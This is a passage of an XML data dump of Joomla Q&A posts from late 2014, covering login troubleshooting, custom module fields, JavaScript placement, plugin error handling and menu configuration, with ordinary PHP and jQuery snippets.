  <row Id="5493" PostTypeId="2" ParentId="5350" CreationDate="2014-12-01T23:38:07.110" Score="3" Body="&lt;p&gt;Just some thoughts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be caused by adding some custom login/logout - Module and then deactivate it without changing the module on frontend back to joomla standard login/logout-Module. If the logout-Button doesnt log the user out, first check if it´s an issue with the logout-module or logout-menuitem. It´s probably not assigned to any Module/Komponent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to add a new (eg hidden) menu-item &quot;user manager&quot;-&gt;&quot;Login Form&quot;. It should have this link: index.php?option=com_users&amp;amp;view=login (Standard Joomla component). And try to login/logout through that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to add a new Module: &quot;Module Manager-&gt; Module Login&quot; (Standard Joomla Module). And test with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disable cache in &quot;System-&gt;Konfiguration-&gt;System-&gt;Cache-&gt;OFF&quot; while testing and clear cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure that all the necessary User-Extensions are published: Eg. &quot;Extensions-&gt;Manage-&gt;Filter: Select Folder Users-&gt;User - Joomla!&quot; Can be deactivated&lt;/p&gt;&#xA;" OwnerUserId="2300" LastActivityDate="2014-12-01T23:38:07.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5494" PostTypeId="2" ParentId="1000" CreationDate="2014-12-02T03:05:29.577" Score="7" Body="&lt;p&gt;I've previously used a plugin called &lt;a href=&quot;http://extensions.joomla.org/extensions/clients-a-communities/user-management/25378&quot;&gt;Easy Profile&lt;/a&gt;. In addition to supporting Avatars, it has several other improvements over the built-in Joomla user profile system. The free version is somewhat limited, but as far as I remember it still supports avatars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the functions I found usefull was the option to set a custom redirect for the first login after registration, a function we used to display the community rules to new users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other available functions (according to the &lt;a href=&quot;http://extensions.joomla.org/extensions/clients-a-communities/user-management/25378&quot;&gt;JED&lt;/a&gt; listing) include:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Custom Fields&lt;/li&gt;&#xA;  &lt;li&gt;Avatar&lt;/li&gt;&#xA;  &lt;li&gt;User List &amp;amp; Search&lt;/li&gt;&#xA;  &lt;li&gt;Basic Conditions with Usergroups&lt;/li&gt;&#xA;  &lt;li&gt;Redirect&lt;/li&gt;&#xA;  &lt;li&gt;Jomsocial Bridge&lt;/li&gt;&#xA;  &lt;li&gt;Registration &amp;amp; Edit Profile Tabs View&lt;/li&gt;&#xA;  &lt;li&gt;Name Style&lt;/li&gt;&#xA;  &lt;li&gt;Joomla Registration &amp;amp; Edit Profile&lt;/li&gt;&#xA;  &lt;li&gt;Author &amp;amp; Content Plugin&lt;/li&gt;&#xA;  &lt;li&gt;Joomla Native Multilanguage&lt;/li&gt;&#xA;  &lt;li&gt;Login Type&lt;/li&gt;&#xA;  &lt;li&gt;Privacy Control&lt;/li&gt;&#xA;  &lt;li&gt;Social Connect (Pro version only)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-02T03:05:29.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5495" PostTypeId="2" ParentId="5438" CreationDate="2014-12-02T03:29:49.917" Score="3" Body="&lt;p&gt;In Joomla, there's usually several ways to achieve the same (or similar) result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest that instead of using the blog layout, you should try &lt;a href=&quot;http://www.rockettheme.com/joomla/extensions/roksprocket&quot; rel=&quot;nofollow noreferrer&quot;&gt;RokSprocket&lt;/a&gt;. It's a free Joomla module that can display your content (articles) in several ways, and filter them by category, similar to a blog layout. The settings allow you to hide the intro text, set amount of columns, resize images, etc. And the readmore link will display the article, just like the default blog layout does. Take a look at the demo for some ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, I think the &quot;Grid&quot; layout or &quot;Mosaic&quot; layout might work, it really depends on how you configure the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SW9SO.jpg&quot; alt=&quot;Grids Layout example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To display your module in an article, simply create an empty article and type &lt;code&gt;{loadposition YourModulePosition}&lt;/code&gt; in the content. Then publish the RokSprocket module to &lt;code&gt;YourModulePosition&lt;/code&gt;. (Or take a look at @FFrewin's solution &lt;a href=&quot;https://joomla.stackexchange.com/questions/5056/how-to-display-module-in-component-area&quot;&gt;in this post&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2014-12-02T03:29:49.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5496" PostTypeId="1" AcceptedAnswerId="5497" CreationDate="2014-12-02T08:59:03.570" Score="3" ViewCount="520" Body="&lt;p&gt;I am building a Joomla 3.x module, I have used a media type field within the module params&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;image-1&quot; type=&quot;media&quot; label=&quot;Select your first image&quot; directory=&quot;backgrounds&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is showing up within the XML file for the module, but how can I echo this (when it's completed) in the front end?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2014-12-02T15:46:17.407" Title="Show module field data in frontend" Tags="|joomla-3.x|module|module-display|module-params|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5497" PostTypeId="2" ParentId="5496" CreationDate="2014-12-02T09:11:01.103" Score="2" Body="&lt;p&gt;You access the parameter like you would any other parameter like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$params-&amp;gt;get('image-1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And to display the image, you can use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php echo JUri::root() . $params-&amp;gt;get('image'); ?&amp;gt;&quot; alt=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that I've used &lt;code&gt;JUri::root()&lt;/code&gt; to define the root of your Joomla path.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-12-02T09:11:01.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5498" PostTypeId="1" CreationDate="2014-12-02T10:30:17.447" Score="2" ViewCount="1247" Body="&lt;p&gt;I have noticed a strange problem since upgrading to Joomla 3.3.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Article Manager, the Ordering column no longer works - no arrows, no numbers, no drag-n-drop icons.  This is also the same for Featured Articles.  However, Categories works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched online but can't find anyone with the same problem, so I think it may be one of the plugins I have installed (could that cause such a problem?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just wondered if anyone else has experienced the same thing or if anyone has any other suggestions...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k7htm.jpg&quot; alt=&quot;Article Manager Screen&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1740" LastActivityDate="2014-12-02T17:13:53.280" Title="Articles Drag-n-Drop Ordering Not Working" Tags="|joomla-3.3.x|administrator|article-manager|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5499" PostTypeId="2" ParentId="5496" CreationDate="2014-12-02T15:09:34.460" Score="-1" Body="&lt;p&gt;This is how I do it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the position of your module to &quot;whateveryouwant&quot; (lets call it 'custommod01')&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to the article manager or wherever you'd like to see the module and write this into the text editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{loadposition custommod01}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(If your using a plain HTML editor make sure you wrap it in &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you wrap this code within a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;, you can style the div and set attributes to this module dynamically per-page&lt;/p&gt;&#xA;" OwnerUserId="2303" LastEditorUserId="168" LastEditDate="2014-12-02T15:46:17.407" LastActivityDate="2014-12-02T15:46:17.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5500" PostTypeId="1" CreationDate="2014-12-02T16:16:39.507" Score="2" ViewCount="292" Body="&lt;p&gt;I have a javascript code and it's necessary load my code after my form or in end of my page.&lt;br&gt;&#xA;When I use this code load before my form in my page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;  /// my code&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can load javascript after my form? or at the end of the page?&#xA;thank you&lt;/p&gt;&#xA;" OwnerUserId="2290" LastEditorUserId="126" LastEditDate="2016-01-22T00:06:42.093" LastActivityDate="2016-01-22T00:06:42.093" Title="Add javascript after a form or at the end of the page" Tags="|joomla-2.5|javascript|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5501" PostTypeId="2" ParentId="5500" CreationDate="2014-12-02T16:22:07.077" Score="1" Body="&lt;p&gt;You simply need to put your Javascript after the form, where ever it's being rendered from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;    // rest of form code&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;    // you Javascript code&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you don't have the JS and form in the same file, then put them in the same file.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-12-02T16:22:07.077" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5502" PostTypeId="2" ParentId="840" CreationDate="2014-12-02T17:10:21.173" Score="1" Body="&lt;p&gt;It is possible that your CSS code contains &lt;code&gt;white-space: nowrap;&lt;/code&gt; somewhere, thus forcing the text to be displayed in a single line within your table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also check your source code to see if the text&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;description description description description description description description&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is rendered within &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps you find your solution.&lt;/p&gt;&#xA;" OwnerUserId="2304" LastEditorUserId="1629" LastEditDate="2014-12-02T21:43:16.507" LastActivityDate="2014-12-02T21:43:16.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5503" PostTypeId="2" ParentId="5498" CreationDate="2014-12-02T17:13:53.280" Score="2" Body="&lt;p&gt;Maybe this is not the problem, you make sure you have clicked the column title for sorting. Also, you can try to filter articles by category first, because I dont think you can sort articles from different categories.&lt;/p&gt;&#xA;" OwnerUserId="2304" LastActivityDate="2014-12-02T17:13:53.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5504" PostTypeId="1" CreationDate="2014-12-02T17:17:48.593" Score="2" ViewCount="24" Body="&lt;p&gt;I'm trying to to change the name of the default &lt;code&gt;Protostar&lt;/code&gt; template so that &lt;strong&gt;/templates/protostar/&lt;/strong&gt; is not visible in my source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried by creating a new style with a new name in the template manager, but nothing was changed in the source code. How can I rename my template?&lt;/p&gt;&#xA;" OwnerUserId="2304" LastEditorUserId="1629" LastEditDate="2014-12-22T19:15:11.090" LastActivityDate="2014-12-22T19:15:11.090" Title="Rename my template" Tags="|joomla-3.x|template-override|" AnswerCount="0" CommentCount="1" ClosedDate="2014-12-02T18:46:40.127" ContentLicense="CC BY-SA 3.0" />
  <row Id="5506" PostTypeId="1" AcceptedAnswerId="5519" CreationDate="2014-12-02T19:32:27.170" Score="7" ViewCount="723" Body="&lt;p&gt;I am successfully preventing some content from being saved under certain conditions, but am having trouble handling the error message to the user.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual text &lt;em&gt;does&lt;/em&gt; display, but there is additional mention of &quot;&lt;em&gt;Save failed with the followig error:&lt;/em&gt;&quot;, then nothing follows.  It seems redundant since the text displays, but I don't know how to subdue it, or provide the correct information for it so that it doesn't appear incomplete to the user. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentBeforeSave($context=null, $article=null, $isNew=0) {&#xA;    if($myTestFails){&#xA;        $errormsg = 'My error message while saving categories...';&#xA;        JError::raiseWarning(403, $errormsg);&#xA;        return false;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Error&lt;/strong&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;My error message while saving categories... &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Save failed with the following error:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-12-03T14:26:27.613" Title="How do I properly raise an error from within a plugin?" Tags="|development|plugin|jerror|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5507" PostTypeId="1" CreationDate="2014-12-02T21:49:36.523" Score="3" ViewCount="347" Body="&lt;p&gt;There are so many components out there, I'm not sure which one to use for this.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I need registered members to be able to come back and edit some of&#xA;the custom profile information that I have -- its a 4 page&#xA;questionnaire with 10 questions on each page, quite long. &lt;/li&gt;&#xA;&lt;li&gt;the form needs to save form fields if user decides to leave (e.g. fills out&#xA;only page 2 of 3). &lt;/li&gt;&#xA;&lt;li&gt;users can come back and complete the form, and see a summary of their responses   everything needs to be dumped in a Google Spreadsheet&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm mostly seeking advice about a component or general direction I should pursue this -- is it a form component, or a social network-like component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried RS Forms Pro and while very powerful for form design it can't do google spreadsheet integration out of the box and conditionals are rather rudimentary.&lt;/p&gt;&#xA;" OwnerUserId="2307" LastEditorUserId="2307" LastEditDate="2014-12-03T15:35:22.293" LastActivityDate="2014-12-04T00:27:48.757" Title="How to make registered users data sticky, and save it to Google Spreadsheet?" Tags="|joomla-3.x|component|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5508" PostTypeId="2" ParentId="5507" CreationDate="2014-12-03T01:18:31.720" Score="3" Body="&lt;p&gt;ChronoForms or RSForms Pro are the two top form generation components.   I would go with ChronoForms as you don't need part for advance features like you're looking for. &lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2014-12-03T01:18:31.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5509" PostTypeId="1" AcceptedAnswerId="5520" CreationDate="2014-12-03T01:55:18.890" Score="2" ViewCount="183" Body="&lt;p&gt;Is there a functionality for event handling in custom component development in joomla? I have searched all throughout and I only found about JEvents which was not exactly what I needed. My simple functionality is that when I select a value from 1st dropdown, a different list contents are displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, does somebody have a complete reference for developing extensions in Joomla especially in Component Development?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only have the Learning Joomla! 3 Extension Development 3rd Edition by Tim Plummer but it only discusses the basics in component development. I have some special cases in our development that cannot be found in the book. Since Joomla! 3 is only new, there are few references and mostly from lower versions.&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="126" LastEditDate="2014-12-03T10:42:03.133" LastActivityDate="2014-12-03T14:51:42.613" Title="Joomla Event Handling for controls(dropdown list etc.) and Joomla 3 reference" Tags="|joomla-3.x|component|development|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5510" PostTypeId="2" ParentId="1000" CreationDate="2014-12-03T05:28:27.770" Score="3" Body="&lt;p&gt;I created a custom profile component a while back. What you'd probably need is a database table mapping a user ID to a user picture URL, then create a helper file to retrieve the image wherever you need it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To upload the image, I used the Joomla image manager I think... so you could just provide a link which opens the manager, maybe provide it with a modified path directing to a profile pictures folder. Or, if you (probably) don't want them to see all available pictures (meaning from all users), you can remove all fields from the image manager (i.e., your image manager instance) by removing the corresponding child elements from the document when it is loaded, just leaving the &quot;browse&quot; button and the label indicating the name and path of the file, then save the path (URL) to the table mentioned above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used AJAX to achieve this - clicking the link to upload / change the picture calls a javascript function, passing the user id. The javascript function opens the image manager, retrieves the new path, and builds an AJAX request passing the user id and the path to the table to a php file querying / updating the database. Voilà. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this what you needed? Let me know if this sounds interesting to you, I'd be happy to provide more info. Though this is probably NOT best practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2014-12-03T05:28:27.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5511" PostTypeId="1" AcceptedAnswerId="5572" CreationDate="2014-12-03T07:03:05.490" Score="6" ViewCount="6167" Body="&lt;p&gt;I want to restrict user access to only one specific category for content component. I have an idea to create new user group, give access to this group to edit this one category and then assign user to this group. Is there any another solution than creating group?&lt;/p&gt;&#xA;" OwnerUserId="1592" LastEditorUserId="126" LastEditDate="2014-12-03T10:38:36.403" LastActivityDate="2016-01-13T15:36:03.107" Title="Restrict user access to specific com_content category" Tags="|joomla-2.5|user|acl|access|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5512" PostTypeId="1" AcceptedAnswerId="5514" CreationDate="2014-12-03T08:11:18.530" Score="3" ViewCount="828" Body="&lt;p&gt;I'm making a module where the user can select some manufacturers names from the backend and the names will be posted in the index with some nice css.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to ask if I can add some jquery in the backend page, to make it easier for user.&#xA;I want to make a text box where will count how many manufacturers the user selected ( max 30 )&#xA;and a list with every manufacturer currently selected.&#xA;I will post an image to make it even more clear:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PJFTO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2225" LastEditorUserId="159" LastEditDate="2014-12-03T19:25:39.713" LastActivityDate="2014-12-03T19:25:39.713" Title="How to add jQuery functionality in the backend of a module?" Tags="|joomla-2.5|module|jquery|jform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5514" PostTypeId="2" ParentId="5512" CreationDate="2014-12-03T08:25:25.580" Score="4" Body="&lt;p&gt;You will need to create a custom form field for this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So firstly, change the type of the field in your XML like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;brands&quot; type=&quot;brands&quot; label=&quot;Foreign Brands&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your XML, replace your &lt;code&gt;&amp;lt;fieldset&amp;gt;&lt;/code&gt; with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset addfieldpath=&quot;/modules/mod_mymodule/fields&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, create a new PHP file called &lt;strong&gt;brands.php&lt;/strong&gt; in:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;modules/mod_mymodule/fields&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('JPATH_BASE') or die;&#xA;&#xA;jimport('joomla.form.formfield');&#xA;&#xA;class JFormFieldBrands extends JFormField&#xA;{&#xA;    protected $type = 'brands';&#xA;&#xA;    public function getInput()&#xA;    {&#xA;       $doc = JDocument::getDocument();&#xA;       $js = '&#xA;              jQuery(document).ready(function($){&#xA;                  // Your JS code&#xA;              });&#xA;       '; &#xA;       $doc-&amp;gt;addScriptDeclaration($js);&#xA;&#xA;       $options = array(&#xA;           'A.Dominguez' =&amp;gt; 'A.Dominguez',&#xA;           'A.Feretti'   =&amp;gt; 'A.Feretti',&#xA;           // Add more here&#xA;       );&#xA;&#xA;       $select = JHtml::_('select.genericlist', $options, $this-&amp;gt;name, null, 'value', 'text', $this-&amp;gt;value, $this-&amp;gt;id);&#xA;&#xA;       return $select;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-12-03T08:34:10.340" LastActivityDate="2014-12-03T08:34:10.340" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="5515" PostTypeId="2" ParentId="5506" CreationDate="2014-12-03T08:47:08.593" Score="3" Body="&lt;p&gt;You should probably throw an exception.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JError was deprecated in Joomla 3.0&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;throw new Exception(JText::_('COM_MYCOMP_ERROR_MESSAGE_NOT_FOUND'), 403);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2014-12-03T08:47:08.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5516" PostTypeId="1" AcceptedAnswerId="5517" CreationDate="2014-12-03T10:41:28.000" Score="2" ViewCount="1052" Body="&lt;p&gt;Hi All On our home page we have a latest news module that you click through to to read an article in the blog. &lt;a href=&quot;http://se24media.net/adnitt/&quot; rel=&quot;nofollow&quot;&gt;http://se24media.net/adnitt/&lt;/a&gt; Unfortunately when you click through I wanted it to display the modules that are visible on the right when you click news and views page from the top menu. I had this issue with another site and it was simple to fix, but I cannot remember how i did it! The module on the front page is Gavick News Show Pro GK5 Thanks!less&lt;/p&gt;&#xA;" OwnerUserId="408" LastEditorUserId="126" LastEditDate="2014-12-03T11:04:27.593" LastActivityDate="2014-12-03T11:04:27.593" Title="News Module not redirecting to correct place" Tags="|joomla-3.3.x|menu-item|module-display|url|itemid|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5517" PostTypeId="2" ParentId="5516" CreationDate="2014-12-03T10:55:09.683" Score="0" Body="&lt;p&gt;You will need to create &lt;strong&gt;Menu items&lt;/strong&gt; and assign the modules and other layout settings you want for the items or their category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the latest news module fetches articles from 1 or more content categories, then creating menu items for each of the articles will not be the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you need to create a &lt;strong&gt;Menu item&lt;/strong&gt; for the &lt;strong&gt;category&lt;/strong&gt; of these articles. You probably would like to have the menu item not being displayed in your main menu, so create first a new menu in Menu Manager - and name it &lt;strong&gt;Hidden&lt;/strong&gt;.&lt;br&gt;&#xA;Then add to it the new menu item of type category blog layout for the category of the articles you show in the latest news module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, you can go in module manager and select which modules you want to show under this menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when you click the titles of the articles in the Latest News Module, it will open the articles under the menu item id you just created and will also display the modules you assigned for this menu item.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update after having a quick look at your site:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I saw at least 2 child categories under blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you probably have 1 parent category &quot;Blog&quot; and a few other children of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possible configuration specific for your site would be:&lt;br&gt;&#xA; - Create the &lt;strong&gt;Hidden&lt;/strong&gt; menu as described. - Name it &lt;strong&gt;Hidden-Blog&lt;/strong&gt;.&lt;br&gt;&#xA; - Start creating &lt;strong&gt;menu items&lt;/strong&gt; for this menu.&lt;br&gt;&#xA; - First create a &lt;strong&gt;category blog layout menu item&lt;/strong&gt; for the parent category, name it &quot;&lt;strong&gt;Blog&lt;/strong&gt;&quot;.&#xA; - Then add &lt;strong&gt;one category blog layout menu item&lt;/strong&gt; for each of the &lt;strong&gt;children categories&lt;/strong&gt; - name the menu items, same as your categories - Make these items &lt;strong&gt;children&lt;/strong&gt; of the Blog Menu Item.&#xA; - Finally, in &lt;strong&gt;module manager&lt;/strong&gt; assign your modules accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*I think this might be a duplicate question and has already an answer in JSE, but can't spot it right now.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-12-03T11:03:22.377" LastActivityDate="2014-12-03T11:03:22.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5518" PostTypeId="1" CreationDate="2014-12-03T12:36:17.163" Score="2" ViewCount="359" Body="&lt;p&gt;This is the current state of a module I'm trying to make. From the backend I select some names , and the photos of that names and in the frontend names and photos i selected will get printed at index page.&#xA;The module's base functionality is working really fine, the only thing is that I want to add 2 more elements: &lt;em&gt;Counter&lt;/em&gt; and &lt;em&gt;Selected&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Counter&lt;/em&gt;: Is the number of names the user selected.A jquery script that will parse the count of selected names from first field and will show the number in a text box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Selected&lt;/em&gt;: Will be a textarea with every name selected.One More jquery script that will parse every selected name and will show em in a textarea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have semi-written the code for the counter field ( I must have done something wrong ) , and I would like someone to help me findout why the script isnt working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0lpZC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Codes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jquery script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA; jQuery(document).ready(function($){&#xA;                  var count = $(&quot;#jform_params_foreignmanuf :selected&quot;).length;&#xA;                  return count;&#xA;              });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;manulist.php (dropdownlist/custom field)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('JPATH_PLATFORM') or die;&#xA;JFormHelper::loadFieldClass('list');&#xA;class JFormFieldManulist extends JFormFieldList&#xA;{&#xA;&#xA;        protected $type = 'Manulist';&#xA;&#xA;&#xA;        protected function getOptions()&#xA;        {&#xA;&#xA;         $db= JFactory::getDbo();&#xA;         $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('*');&#xA;        $query-&amp;gt;from('#__virtuemart_manufacturers_en_gb');&#xA;        $db-&amp;gt;setQuery($query);&#xA;         $items = $db-&amp;gt;loadObjectList();&#xA;         $options = array();&#xA;         if ($items)&#xA;         {&#xA;          foreach($items as $item)&#xA;          {&#xA;            $options[] = JHtml::_('select.option', $item-&amp;gt;virtuemart_manufacturer_id , $item-&amp;gt;mf_name,$item-&amp;gt;slug);&#xA;          }&#xA;         }&#xA;         $options = array_merge(parent::getOptions(), $options);&#xA;         JHtml::_('script', JUri::root() . 'modules/mod_manufacturers/js/js.js');&#xA;         return $options;&#xA;&#xA;        }&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;countermanu.php(text field of selected records)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('JPATH_PLATFORM') or die;&#xA;JFormHelper::loadFieldClass('Text');&#xA;class JFormFieldManulist extends JFormFieldText&#xA;{&#xA;&#xA;        protected $type = 'Countermanu';&#xA;&#xA;&#xA;        protected function getOptions()&#xA;        {&#xA;&#xA;        $doc = JDocument::getDocument();&#xA;       $js = '&#xA;             jQuery(document).ready(function($){&#xA;                 var count = $(&quot;#jform_params_foreignmanuf :selected&quot;).length;&#xA;                 return count;&#xA;             });&#xA;      ';&#xA;       $doc-&amp;gt;addScriptDeclaration($js);&#xA;        JHtml::_('script', JUri::root() . 'modules/mod_manufacturers/js/js.js');&#xA;&#xA;        